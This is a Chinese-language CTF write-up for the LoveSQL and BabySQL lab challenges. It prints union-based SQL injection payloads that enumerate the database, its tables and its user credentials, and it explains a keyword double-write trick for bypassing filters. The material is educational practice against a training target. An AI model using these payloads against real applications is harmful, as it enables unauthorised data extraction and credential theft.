news 2026/10/22 2:26:45

SQL 联合注入与双写绕过靶场练习

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SQL 联合注入与双写绕过靶场练习

[极客大挑战 2019]LoveSQL
1.经过上次的教训,看到SQL注入先进行判断类型,是字符型注入,然后输入'or 1=1#,发现告诉了password。
2.输入admin和password之后发现页面还是不变,这个方法行不通。万能密码登录方式不适合,选择union联合注入脱库。
3.输入1' order by 4#报错、1' order by 3#正常,通过order by来判断列数,发现是3列
4.通过union来找回显位置,输入-1' union select 1,2,3#通过页面可以查看到2,3是回显位,然后判断数据库名,使用-1' union select 1,database(),3#发现数据库为geek
5.接着找表名,用-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek'#可以看出表名是geekuser,l0ve1ysq1,猜一下第一个是数据表,而第二个正好对应题目,先尝试第二张表。
6.输入-1' union select 1,group_concat(username,password),3 from l0ve1ysq1#发现成功获得flag

[极客大挑战 2019]BabySQL
1.依据是SQL注入题型,先判断注入点,为字符型注入,再次输入'or 1=1#,发现报错,说明or被过滤清空了,尝试双写绕过。
2.使用双写绕过发现可以,依旧是报password,但还是行不通。
3.沿用上道题的方法,通过order by来判断列数,输入1' oorrder bbyy 3#,发现还是3列。
4.大胆猜测一下,回显位还是2,3,通过测试猜想没错,然后按照上道题依次是库,表,字段,flag,和上道题不同的是都需要双写绕过。
5.这里有一个小坑,password 里面的字母or也会被过滤,所以输入password会报Unknown column 'passwd',最后就可以获得flag。

知识点总结:

  1. SQL注入基础判断
    1.单引号测试,判断字符型注入(参数被单引号包裹),数字型不用闭合单引号。
    2.order by 排序法:判断SQL查询的列数,报错=超出总列数,正常=合法列。
    3.union select 联合查询:利用 -1 这类不存在的值,让前面查询结果为空,显示我们构造的select结果,找到回显位。
    4.注入查询固定套路(标准流程):
    数据库名 → 表名 → 字段名 → 查询字段数据
    用到的库:information_schema(MySQL元信息库,存库、表、字段信息)
  • database():查询当前数据库名
  • information_schema.tables:查表
  • information_schema.columns:查字段
  • group_concat():把多条结果拼接成一行输出
  1. 过滤绕过(BabySQL专属重点,高频考点)
    1.绕过方式:关键字双写绕过
    被过滤:union、select、from、order、by、or
    写法:uniunionon、seselectlect、ffromrom、oorrder、bbyy、oor
    原理:后端正则匹配到关键词就删除;双写之后,删掉中间匹配的词,剩下的拼接成正常关键字。
    2.隐藏坑:不仅SQL命令关键字会被过滤,字段名里面包含敏感词也会被过滤!password 里面含有 or → 过滤后变成 passwd,字段不存在报错。
    解决:passwoorrd 双写绕过。
  2. 两个题对比
  • LoveSQL:无过滤联合注入,基础模板题,用来熟悉整套脱库流程
  • BabySQL:关键字过滤+双写绕过,考察你能不能举一反三、注意隐藏在字段里的敏感词
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/22 2:24:12

模型遇到新缺陷类别怎么办?

1. 模型总是「翻车」在新缺陷上 在软件缺陷预测、代码审查、工业质检等场景中,我们常常训练一个分类模型来识别已知的缺陷类别。但现实世界是开放的——新的缺陷类型层出不穷。当模型遇到一个从未见过的缺陷类别时,它的表现往往惨不忍睹:要么…

作者头像 李华
网站建设 2026/10/22 2:23:54

(动态规划+DFS)494. 目标和

题目 给你一个非负整数数组 nums 和一个整数 target 。 向数组中的每个整数前添加 或 - ,然后串联起所有整数,可以构造一个 表达式 : 例如,nums [2, 1] ,可以在 2 之前添加 ,在 1 之前添加 - &#xff0…

作者头像 李华